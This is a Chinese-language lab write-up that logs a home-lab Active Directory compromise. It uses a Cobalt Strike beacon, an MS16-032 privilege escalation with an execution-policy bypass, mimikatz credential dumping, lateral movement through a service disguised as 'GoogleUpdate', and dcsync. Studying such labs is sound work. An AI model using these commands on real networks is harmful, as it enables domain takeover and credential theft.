概述
web选手学习域渗透记录。
环境
搭建一个简单的环境,由于刚开始,所以环境拓扑比较简单,但不影响学习。 三台主机:
- win2016 域控
- win7 域计算机
- debian 攻击机 3台机器在同一个内网中,并且可以互相访问,同时未安装杀软等防护软件。
流程
- 在debian上安装cs,同时生成beacon.exe
- 在win7上运行beacon.exe,上线;
- 利用ms16-032在win7提权到system权限;
- 为了简单,在win7上登陆域administrator账号
- 利用mimikatz抓密码,获得administrator密码
- 利用cs生成windows服务beacon2.exe
- 利用administrator权限和sc命令在域控上执行beacon2.exe,域控上线。
记录
模拟时,自己在win7运行,实际则可能是社工,钓鱼邮件,水坑,漏洞等。
有win7权限之后,在cs中抓密码,提示权限不够,需要提权。MS16-032,下载exe之后,发现是打开system权限的cmd,并没有回连。几次尝试之后使用powershell脚本。不过先修改一下MS16-032.ps1,因为运作之后,发现没有执行。查看脚本发现是函数,所以在最后加一行调用Invoke-MS16-032,同时将333行要执行的程序改为我们的beacon.exe的路径。
# 将shell调整为实时交互
sleep 0
# 查看当前目录
pwd
# 上传MS16-032.ps1
upload
# 列目录,查看已经上传成功
ls
# 执行powershell,由于有策略限制,使用命令bypass
shell powershell.exe -ExecutionPolicy Bypass -File MS16-032.ps1
得到system权限shell
sleep 0
# 获取hash
hashdump
# 获取明文密码,可以获取到当前用户密码
logonpasswords
在域控上远程登陆win7,使用administrator账号,提示会断开当前帐户链接,取消登陆。 执行logonpasswords未发现新密码。 在win7机器使用域控administrator登陆。 再次运行logonpasswords,获取administrator密码
# 在user权限shell中执行命令,获取域控主机名称
shell net time /domain
# ping ip
shell ping -n 1 win2016
# spawnas admin权限
spawnas 选择域administrator密码
进入administrator权限shell,利用sc创建服务执行,这里有个坑,就是sc命令,=号后面要有空格,导致我好长时间不知道哪里有问题。跑到win7上面去执行,也是报错,刚开始看输出,感觉就是help,一直纳闷。后面仔细看时,发现里面有一句,=号后面要有空格隔开,真是坑。 首先生成windows服务的beacon2.exe
# 上传beacon2.exe
upload
shell net use \\win2016\ipc$ "密码" /user:Administrator
shell dir \\win2016\c$
shell copy beacon2.exe \\win2016\c$
shell sc \\win2016 create GoogleUpdate binPath= "C:\beacon2.exe"
shell sc \\win2016 start GoogleUpdate
获得域控system权限shell hashdump获取hash
dcsync 域
引用
- https://security.tencent.com/index.php/blog/msg/154
- https://zer1t0.gitlab.io/posts/attacking_ad/